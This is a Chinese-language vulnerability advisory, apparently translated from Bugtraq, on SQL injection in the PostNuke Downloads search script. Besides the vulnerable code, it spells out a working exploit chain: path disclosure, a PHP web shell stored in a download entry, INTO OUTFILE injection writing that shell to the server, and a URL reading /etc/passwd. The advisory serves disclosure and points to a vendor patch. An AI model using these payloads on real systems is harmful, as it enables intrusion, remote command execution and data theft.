安全研究

安全漏洞
PostNuke多个脚本远程SQL注入漏洞

发布日期:2005-02-28
更新日期:2005-03-04

受影响系统:
PostNuke PostNuke Phoenix 0.760-RC2
PostNuke PostNuke Phoenix 0.750
描述:
BUGTRAQ  ID: 12684

PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke多个脚本对用户提交的参数缺少充分过滤,远程攻击者可以利用这个漏洞进行SQL注入攻击,可能获得敏感信息或修改数据库。

问题一是modules/Downloads/dl-search.php的search()函数存在SQL注入:

- -51-68---
    if ($show!="") {
        $downloadsresults = $show;
    } else {
        $show=$downloadsresults;
    }
    //$query = stripslashes($query);
    $column = &$pntable['downloads_downloads_column'];
    $sql = "SELECT $column[lid], $column[cid], $column[sid],
                              $column[title], $column[url], $column[description],
                              $column[date], $column[hits], \
$column[downloadratingsummary],  $column[totalvotes], $column[totalcomments],
                              $column[filesize], $column[version], $column[homepage]
                              FROM $pntable[downloads_downloads]
                              WHERE $column[title] LIKE \
                '%".pnVarPrepForStore($query)."%'
                                OR $column[description] LIKE \
                '%".pnVarPrepForStore($query)."%'
                                ORDER BY $pntable[downloads_downloads].$orderby";

    $result = $dbconn->SelectLimit($sql, $downloadsresults, (int)$min);

问题存在于$show变量,提交如下URL:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

会显示如下错误信息:

- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in \
                /www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \
                74
- ---------------

由于这个SQL注入在ORDER BY之后,不能使用UNION,但检查这个漏洞:

先检查PostNuke路径:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&show=cXIb8O3

Error message :
- ---------------
Fatal error: Call to a member function PO_RecordCount() on a non-object in \
                /www/PostNuke-0.760-RC2/html/modules/Downloads/dl-search.php on line \
                74
- ---------------

如前缀为/www/PostNuke-0.760-RC2/html/。

现在增加新的downloadinsert到"Description"或"Home page" php代码,如:

- ---
<? system($_GET[cx]); ?>
- ---

这个download存在于db中,进入:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=[Program \
name]&show=10%20INTO%20OUTFILE%20'/[PATH]/pnTemp/Xanthia_cache/cXIb8O3.php'/*

就可以执行如下URL:

http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3.php?cx=cat /etc/passwd

问题二是对$orderby缺少正确过滤,提交如下请求可进行SQL注入攻击:

http://[HOST]/[DIR]/index.php?name=Downloads&req=search&query=&orderby=

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=110962710805864&w=2
*>

建议:
厂商补丁:

PostNuke
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.postnuke.com/

浏览次数:3011
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障